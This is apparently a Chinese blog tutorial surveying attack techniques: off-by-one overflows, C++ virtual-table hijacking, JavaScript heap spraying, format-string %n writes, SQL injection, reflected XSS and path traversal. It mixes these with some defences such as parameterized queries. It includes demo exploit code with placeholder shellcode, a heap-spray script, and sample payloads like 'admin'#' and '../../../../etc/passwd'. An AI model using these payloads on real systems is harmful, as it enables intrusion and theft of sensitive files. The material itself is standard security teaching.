各种内存攻击技术简介

除了基本的栈溢出利用,还有堆溢出、off by one、虚函数、格式化串等漏洞利用技术,下面进行简单介绍。

1.off by one的利用

只溢出一个字节,,配合上特定的溢出场景, off by one 就有可能演化为安全漏洞。

void off_by_one(char * input)
{
  char buf[200];
  int i=0,len=0;
  len=sizeof(buf);
  for(i=0; input[i]&&(i<=len); i++)
  {
    buf[i]=input[i];
  }
}

“ i<=len”正确的使用应该是“ i<len”,给了一个字节的攻击机会。当缓冲区后面紧跟着 EBP 和返回地址时,溢出数组的那一个字节正好“部分”地破坏了EBP。
当能够让 EBP 恰好植入可控制的缓冲区时,是有可能做到劫持进程的。此外, off by one问题有可能破坏重要的邻接变量,从而导致程序流程改变或者整数溢出等更深层次的问题。

2.攻击C++虚函数

C++虚函数的入口地址被统一保存在虚表( Vtable)中,虚表指针保存在对象的内存空间中,紧接着虚表指针的是其他成员变量。

#include "windows.h"
#include "iostream.h"
char shellcode[]="xxx";////set fake virtual function pointer
class Hacktest
{
public:
    char buf[200];
    virtual void test(void)
    {
        cout<<"Class Vtable::test()"<<endl;
    }
};
Hacktest overflow, *p;
void main(void)
{
    char * p_vtable;
    p_vtable=overflow.buf-4;//point to virtual table
    //reset fake virtual table to 0x004088cc
    //the address may need to ajusted via runtime debug
    p_vtable[0]=0xCC;
    p_vtable[1]=0x88;
    p_vtable[2]=0x40;
    p_vtable[3]=0x00;
    strcpy(overflow.buf,shellcode);//set fake virtual function pointer
    p=&overflow;
    p->test();
}

( 1)虚表指针位于成员变量 char buf[200]之前,程序中通过 p_vtable=overflow.buf-4 定位到这个指针。
( 2)修改虚表指针指向缓冲区的 0x004088CC 处。
( 3)程序执行到 p->test()时,将按照伪造的虚函数指针去 0x004088CC 寻找虚表,这里正好是缓冲区里 shellcode 的末尾。在这里填上 shellcode 的起始位置 0x0040881C 作为伪造的虚函数入口地址,程序将最终跳去执行 shellcode,如下图所示。

由于虚表指针位于成员变量之前,溢出只能向后覆盖数据,所以有一定局限性。对象的内存空间位于堆中,如果内存中存在多个对象且能够溢出到下一个对象空间中去,“连续性覆盖”还是有攻击的机会的,如下图所示。

3.Heap Spray:堆喷射

在针对浏览器的攻击中,常常会结合使用堆和栈协同利用漏洞。
(1)当浏览器或其使用的 ActiveX 控件中存在溢出漏洞时,攻击者就可以生成一个特殊的 HTML文件来触发这个漏洞。
( 2)不管是堆溢出还是栈溢出,漏洞触发后最终能够获得 EIP。
( 3)有时我们可能很难在浏览器中复杂的内存环境下布置完整的 shellcode。
( 4)页面中的 JavaScript 可以申请堆内存,因此,把 shellcode 通过 JavaScript 布置在堆中成为可能。

在使用 Heap Spray 的时候,一般会将 EIP 指向堆区的 0x0C0C0C0C 位置,然后用 JavaScript申请大量堆内存,并用包含着 0x90 和 shellcode 的“内存片”覆盖这些内存。

通常, JavaScript 会从内存低址向高址分配内存, 因此申请的内存超过 200MB( 200MB=200 × 1024× 1024 = 0x0C800000 > 0x0C0C0C0C)后, 0x0C0C0C0C 将被含有 shellcode 的内存片覆盖。只要内存片中的 0x90 能够命中 0x0C0C0C0C 的位置, shellcode 就能最终得到执行。

var nop=unescape("%u9090%u9090");
while (nop.length<= 0x100000/2)
{
    nop+=nop;
}//生成一个 1MB 大小充满 0x90 的数据块
nop = nop.substring(0, 0x100000/2 - 32/2 - 4/2 - shellcode.length - 2/2 );
var slide = new Arrary();
for (var i=0; i<200; i++)
{
    slide[i] = nop + shellcode
}

Java 会为申请到的内存填上一些额外的信息,为了保证内存片恰好是 1MB,我们将这些额外信息所占的空间减去。nop = nop.substring(0, 0x100000/2 - 32/2 - 4/2 - shellcode.length - 2/2 )将一个内存片恰好凑成 1MB 大小。

4.格式化串漏洞

4.1 printf中的缺陷

#include "stdio.h"
main()
{
    int a=44,b=77;
    printf("a=%d,b=%d\n",a,b);
    printf("a=%d,b=%d\n");
}

第二个printf并不会编译报错,运行输出如下:

虽然函数调用时没有给出“输出数据列表”,但系统仍然按照“格式控制符”所指明的方式输出了栈中紧随其后的两个 DWORD。现在应该明白输出“ a=4218928,b=44”的原因了:4218928 的十六进制形式为 0x00406030,是指向格式控制符“ a=%d,b=%d\n”的指针。

4.2 用printf读取内存数据
如果传入的字符串中带有格式控制符时, printf 就会打印出栈中“莫须有”的数据。
例如,输入“ %p,%p,%p……”,实际上可以读出栈中的数据。

#include "stdio.h"
int main(int argc, char ** argv)
{
  printf(argv[1]);
}

4.3 用printf向内存写数据
在格式化控制符中,有一种鲜为人知的控制符%n。这个控制符用于把当前输出的所有数据的长度写回一个变量中去。

#include "stdio.h"
int main(int argc, char ** argv)
{
    int len_print=0;
    printf("before write: length=%d\n",len_print);
    printf("hacktest:%d%n\n",len_print,&len_print);
    printf("after write: length=%d\n",len_print);
}

第二次 printf 调用中使用了%n 控制符,它会将这次调用最终输出的字符串长度写入变量len_print 中。“hacktest:0”长度为 10,所以这次调用后 len_print 将被修改为 10。

4.4 格式化串漏洞的检测
当输入输出函数的格式化控制符能够被外界影响时,攻击者可以综合利用前面介绍的读内存和写内存的方法修改函数返回地址,劫持进程,从而使 shellcode 得到执行。
比起大量使用命令和脚本的 UNIX 系统, Windows 操作系统中命令解析和文本解析的操作并不是很多,再加上这种类型的漏洞发生的条件比较苛刻,使得格式化串漏洞的实际案例非常罕见。
格式化串漏洞的起因非常简单,只要检测相关函数的参数配置是否恰当就行。通过简单的静态代码扫描,一般可以比较容易地发现这类漏洞。

int printf( const char* format [, argument]... );
int wprintf( const wchar_t* format [, argument]... );
int fprintf( FILE* stream, const char* format [, argument ]...);
int fwprintf( FILE* stream, const wchar_t* format [, argument ]...);
int sprintf( char *buffer, const char *format [, argument] ... );
int swprintf( wchar_t *buffer, const wchar_t *format [, argument] ... );
int vprintf( const char *format, va_list argptr );
int vwprintf( const wchar_t *format, va_list argptr );
int vfprintf( FILE *stream, const char *format, va_list argptr );
int vfwprintf( FILE *stream, const wchar_t *format, va_list argptr );
int vsprintf( char *buffer, const char *format, va_list argptr );
int vswprintf( wchar_t *buffer, const wchar_t *format, va_list argptr );

5.SQL 注入原理

SQL 命令注入的漏洞是 Web 系统特有的一类漏洞,它源于 PHP、 ASP 等脚本语言对用户输入数据和解析时的缺陷。
当攻击者把用户名输入为 admin’#的时候,输入字串中的单引号将和脚本中的变量的单引号形成配对,而输入字串中的“ #”号对于 My SQL 的语言解释器来说是一行注释符。通过这样的输入,攻击者可以轻易绕过身份验证机制,没有正确的密码也能看到管理员的信息。

注入攻击的检测与防范:

  • 检测:
    SQL注入扫描:NGSSQuirreL
  • 防范:
    一种十分有效的防止 SQL 注入的方法是使用参数化查询( Parameterized Query)的方法。参数化查询就是在访问数据库时,将查询语句中要填入的数据通过参数的方式传递,这样数据库不会将参数的内容视为 SQL 语句的一部分,因此即便参数中含有攻击者构造的查询指令,也不会被执行。
string sql = "select * from users where username=? and password=?";
PreparedStatement pstmt = connection.prepareStatement(sql);
pstmt.setString(1,username);
pstmt.setString(2,password);//username 和 password 两个变量的值是由用户输入的

6.XSS攻击

XSS 是跨站脚本(Cross Site Script)的意思,由于网站技术中的 Cascading Style Sheets 缩写为 CSS,为了不至于产生概念混淆,故一般用 XSS 来简称跨站脚本。

在很多 Web 应用中,服务器都将客户端输入或请求的数据“经过简单的加工”后,再以页面文本的形式返回给客户端。

当用户进行正常的请求,"http://testapp.com/test.php?input=this is a test",服务器将简单地把“ this is a test”返回给客户端的浏览器。
当请求"http://testapp.com/test.php?input=<script>alert(‘xss’);</script>",服务器也会把“<script>alert(‘xss’);</script>” 当字符串返回给客户端浏览器,浏览器在解析这次反馈的页面时,发现页面中的是脚本命令,而不是数据,因此会把“ <script>alert(‘xss’);</script>”当做脚本命令进行解析,进而执行,弹出一个警告消息框。

<?php
echo $input
?>

XSS 攻击的目标是客户端的浏览器,因此受影响的范围要远远大于攻击服务器的 SQL 注入攻击;独立的 XSS 漏洞攻击并不是非常严重,但是配合上其他攻击技术往往能产生非常严重的后果。

7.路径回溯漏洞

windows中“ ../”或者“ ..\”,Linux中的“ ../”,在路径中表示“上一级”,当足够多的“ ..”使得路径跳转到根目录时,多余的“ ..”将被忽略掉。
例如有这样一个URL:http://www.testsite.com/download.asp?file=document.pdf
如果没有回溯检查,可构造URL获取敏感文件:http://www.testsite.com/download.asp?file=../../../../etc/passwd

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 215,923评论 6 498
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,154评论 3 392
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 161,775评论 0 351
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,960评论 1 290
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,976评论 6 388
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,972评论 1 295
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,893评论 3 416
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,709评论 0 271
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,159评论 1 308
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,400评论 2 331
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,552评论 1 346
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,265评论 5 341
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,876评论 3 325
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,528评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,701评论 1 268
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,552评论 2 368
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,451评论 2 352

推荐阅读更多精彩内容

  • 概说 前面的文章演示的攻击都是在关闭了linux的各种防御机制的情况下进行的,下面我们探讨一下更高级的linux漏...
    读书郞阅读 4,073评论 2 7
  • 缓冲区溢出(Buffer Overflow)是计算机安全领域内既经典而又古老的话题。随着计算机系统安全性的加强,传...
    Chivalrous阅读 1,330评论 0 5
  • 什么是XSS? 跨站脚本(Cross-Site Scripting,XSS)是一种经常出现在 Web 应用程序中的...
    lokisteven阅读 1,522评论 0 2
  • 0. 引言 如果你学的第一门程序语言是C语言,那么下面这段程序很可能是你写出来的第一个有完整的 “输入---处理-...
    pandolia阅读 14,042评论 13 27
  • 可以认错,但不能认输。可以追求胜利,但不要否定失败,可以信奉真理,但更不应看低谬论。 错得,为什么就一定是错的...
    痞子的幸福白羊阅读 232评论 0 0